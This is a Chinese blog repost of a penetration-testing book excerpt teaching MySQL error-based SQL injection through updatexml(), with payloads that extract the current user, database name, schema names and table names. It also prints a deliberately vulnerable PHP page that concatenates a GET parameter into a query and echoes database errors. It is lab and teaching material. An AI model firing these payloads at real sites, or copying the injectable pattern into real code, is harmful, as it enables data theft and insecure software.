• 最新报错注入攻击和代码分析技术


    点击星标,即时接收最新推文

    2e6b13ef38a9de3f8e70d63fbdbea114.png

    本文选自《web安全攻防渗透测试实战指南(第2版)》

    点击图片五折购书

    5a0a82a90caebe9468cd2b0e5e87b693.gif

    报错注入攻击

    报错注入攻击的测试地址在本书第2章。

    先访问error.php?username=1',因为参数username的值是1'。在数据库中执行SQL时,会因为多了一个单引号而报错,输出到页面的结果如图4-35所示。

    d74dbe46677a67e39422db7cb90b1303.jpeg

    图4-35  

    通过页面返回结果可以看出,程序直接将错误信息输出到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种利用方式,此处只讲解利用MySQL函数updatexml()获取user()的值,SQL语句如下:

    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

    其中0x7e是ASCII编码,解码结果为~,如图4-36所示。

    ef5a6b30b68e1a555bf87ef440e182f7.jpeg

    图4-36

    然后尝试获取当前数据库的库名,语句如下:

    1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

    得到的结果如图4-37所示。

    fa079535fdc36931fdadc949155dadee.jpeg

    图4-37  

    接着可以利用select语句继续获取数据库中的库名、表名和字段名,查询语句与Union注入的查询语句相同。因为报错注入只显示一条结果,所以需要使用limit语句。构造的语句如下:

    1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

    结果如图4-38所示,可以获取数据库的库名。

    0dc499641d327c59071b1528668173e5.jpeg

    图4-38  

    构造查询表名的语句如下:

    1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= 'test' limit 0,1),0x7e),1)--+

    如图4-39所示,可以获取数据库test的表名。

    1441c83d4613123b3c53073ebadef7d6.jpeg

    图4-39

    67eb7ad8e7616905918ceeee10d426e1.gif

    报错注入代码分析

    在报错注入页面,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出ok;如果出错,则通过echo mysqli_error($con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),代码如下:

    1. $con=mysqli_connect("localhost","root","123456","test");
    2. if (mysqli_connect_errno())
    3. {
    4. echo "连接失败: " . mysqli_connect_error();
    5. }
    6. $username = $_GET['username'];
    7. if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){
    8. echo "ok";
    9. }else{
    10. echo mysqli_error($con);
    11. }
    12. ?>

    输入username=1'时,SQL语句为select * from users where `username`='1''。执行时,会因为多了一个单引号而报错。利用这种错误回显,可以通过floor()、updatexml()等函数将要查询的内容输出到页面上。


    e16d493a6fc5c6ccb35f2539da832e21.gif

    MS08067安全实验室视频号已上线

    欢迎各位同学关注转发~

    —  实验室旗下直播培训课程  —

    902e166b88f5994a49f877f4a17d831d.png

    5798aaeeaeadbed5248a65f57f4064cc.jpeg

    22aeec20b9a16e93b866331ce1f3e997.jpeg14a0ccb69b0b54f223c0a706ed24ba74.png

    0e8534595967c4856f40bf38a2225ff1.jpeg

    3fae99e0d66eff1acd2c40d4b5345f30.jpeg

    207fc5c81357cb832cf3926acf16918a.jpeg

    16dfbfed5add0c089a9a34e77aa8b28c.jpeg

    eaae592df19452193a2582c0adefba01.jpeg


    和20000+位同学加入MS08067一起学习

    e467e57494a3cacb21064ec13b82b841.gif

  • 相关阅读:
    customRef
    Prometheus+Grafana 监控平台实践-搭建&常用服务监控&告警
    软件工程的概念及其重要性
    初识操作系统以及Linux环境搭建
    在任意位置插入
    JWT知识点
    win10 vs2019 编译vsg vsgXchange vsgExamples
    TFN SDH传输分析仪 的优劣势分析
    数据图表软件-FineReport控件简介
    Jmeter如何引入自己写的jar包代码
  • 原文地址:https://blog.csdn.net/shuteer_xu/article/details/133053733